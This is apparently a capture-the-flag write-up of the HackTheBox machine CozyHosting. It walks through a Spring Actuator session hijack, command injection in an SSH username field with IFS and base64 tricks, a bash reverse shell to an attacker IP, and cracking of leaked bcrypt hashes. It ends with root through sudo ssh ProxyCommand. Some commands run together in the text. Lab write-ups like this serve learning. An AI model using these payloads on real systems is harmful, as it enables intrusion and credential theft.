CozyHosting – HackTheBox Writeup
Machine Name: CozyHosting
IP: 10.10.11.230
Difficulty: Easy
Summary
CozyHosting, an easy machine, initially involves understanding its SpringBoot application, discovered through a generic error page uncovered during directory enumeration. Further exploration revealed sensitive SpringActuator endpoints, leading to the acquisition of a session token belonging to user KAnderson. Leveraging this token facilitated the theft of the user’s session, providing access to the admin’s dashboard featuring an exploitable SSH configuration. Exploiting the SSH configuration vulnerability allowed for remote code execution (RCE) and subsequent acquisition of a shell. The next step involved decompiling a JAR file, uncovering plain-text database credentials that enabled access to the Postgres database. Within the database, user hashes were uncovered and subsequently cracked to unveil the user password, granting entry as Josh. Finally, privilege escalation was achieved through an SSH sudo misconfiguration, facilitating the acquisition of an interactive shell as root via SSH.
Information Gathering
Nmap scan shows that port 22 (SSH) and port 80 (HTTP) are open. Port 80 is running Nginx 1.18.0 on Ubuntu.
Since the webpage running on port 80 is redirecting to “cozyhosting.htb”, I added it /etc/hosts file. The application seems to be a hosting provider. Apart from the bookmarks in navbar, the login page seemed to be interesting.
I tried to check for default credentials and some simple SQLi but they didn’t work. Therefore, I captured the request in burp and saved it to a file to run SQLmap on it.
sqlmap -r login.req --level 5 --risk 3 --batch -p username,password
While that runs, I ran ffuf for directory enumeration.
ffuf -u http://cozyhosting.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -mc all -ac -o dir_ffuf.txt
I was presented with a generic error page when I visited the “/error” page.\
I googled the “Whitelabel Error Page” to obtain more information about the technology at the backend and found that this is a generic SpringBoot error page that is displayed when no custom page is mapped to the URL.
Since, the SQLmap had given up on the exploitation and there was no other logical path, I googled SpringBoot exploit. I found HackTricks’s page about Spring Actuators.
Spring Actuators are used to monitor the web applications that are pushed to production. Some endpoints such as “/health” are accessible without authentication and reveal sensitive information. From Spring 2x version, they moved to the “/actuator/” path.
I visited the “/actuator” path and found some endpoints.
The “/actuator/sessions” endpoint revealed a JSESSIONID for the user “kanderson”.
Since we already knew that there is a “/admin” endpoint, I replaced my JSESSIONID in the browser cookie with kanderson’s and visited the site. And just like that, I was logged in as K. Anderson user with complete access to the admin dashboard.
A feature to connect to a hostname with username was provided at the bottom of the page.
RCE in SSH Settings Feature
I captured the request in burp to check what is happening. It seems like the server is running SSH using the information provided by the user.
I was guessing that the command would be:
ssh -i id_rsa username@hostname
Therefore, to escape this command, I tried the following on both hostname and username.
;id
When I tried the above payload on Hostname, it gave me an error, “Invalid Hostname”. However, when I tried the same on username, I got an SSH error:
This meant that the payload needs to be injected in the username field. Since there was no output for the command “;id”, I tried to check if the command is being executed by the server by hosting a python server and curling the same endpoint through the “username” field.
;curl 10.10.16.6/test
The page throws an interesting error saying that the “username” field cannot contain whitespaces. Immediately, the idea of using Field Separators (IFS) to substitute the whitespaces popped in my mind!
I tried to use the following payload to bypass the whitespace restriction but found that the command is still not properly formed to be executed as a separate command.
python3 -m http.server echo "curl 10.10.16.6/test"|base64 ;echo${IFS}"Y3VybCAxMC4xMC4xNi42L3Rlc3QK"|base64${IFS}-d|bash;
The command works and I receive a GET request from the box.
Similarly, I replace the base64 payload with a reverse shell payload and listened on netcat. I had to URL encode for the payload to work this time.
echo -n "bash -i >& /dev/tcp/10.10.16.6/4444 0>&1" | base64 YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi42LzQ0NDQgMD4mMQ== nc -lvnp 4444 ;echo${IFS}"YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi42LzQ0NDQgMD4mMQ=="|base64${IFS}-d|bash;
Finally, I obtain a reverse shell as user “app”.
I upgraded my shell to a TTY shell.
python3 -c 'import pty;pty.spawn("/bin/bash")' export TERM=xterm ctrl + z stty raw -echo; fg
I checked the home directory and understood that user Josh’s home directory cannot be accessed by the current shell. The directory “/app” had a JAR file that looked interesting. I downloaded it to my attacker machine.
app@cozyhosting:/app$ python3 -m http.server sid@parrot╼$ wget 10.10.11.230:8000/cloudhosting-0.0.1.jar
Decompiling JAR file to find Database Credentials
I decompiled the JAR file using JD-GUI, and found the credentials for postgres in “BOOT-INF > classes > application.properties”.
sudo apt install jd-gui spring.datasource.username=postgres spring.datasource.password=Vg&nvzAQ7XxR
I logged in as postgres to view the databases and found the table called “users” in the “cozyhosting” database.
# List databases postgres=# \l # Select cozyhosting database postgres=# \c cozyhosting # List tables cozyhosting=# \dt # Select all from users table cozyhosting=# select * from users;
kanderson | $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim | User admin | $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm | Admin
Cracking the Hash for User Shell
I cracked the hash using John and found the password.
echo "$2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm" > admin.hash hashid -m john --wordlist=/usr/share/wordlists/rockyou.txt hash --format=bcrypt manchesterunited
Great! Now that I have the password, I’ll login as user Josh and capture the user flag.
su josh manchesterunited cat /home/josh/user.txt
Privilege Escalation
As always, I ran the command “sudo -l”, and found that user josh may run SSH command as root.
I quickly looked up GTFObins to fetch the command to gain an interactive shell through SSH so that when user Josh runs the command with sudo, the shell obtained is a root shell.
ssh -o ProxyCommand=';sh 0<&2 1>&2' x
And just like that, the box is Pwned!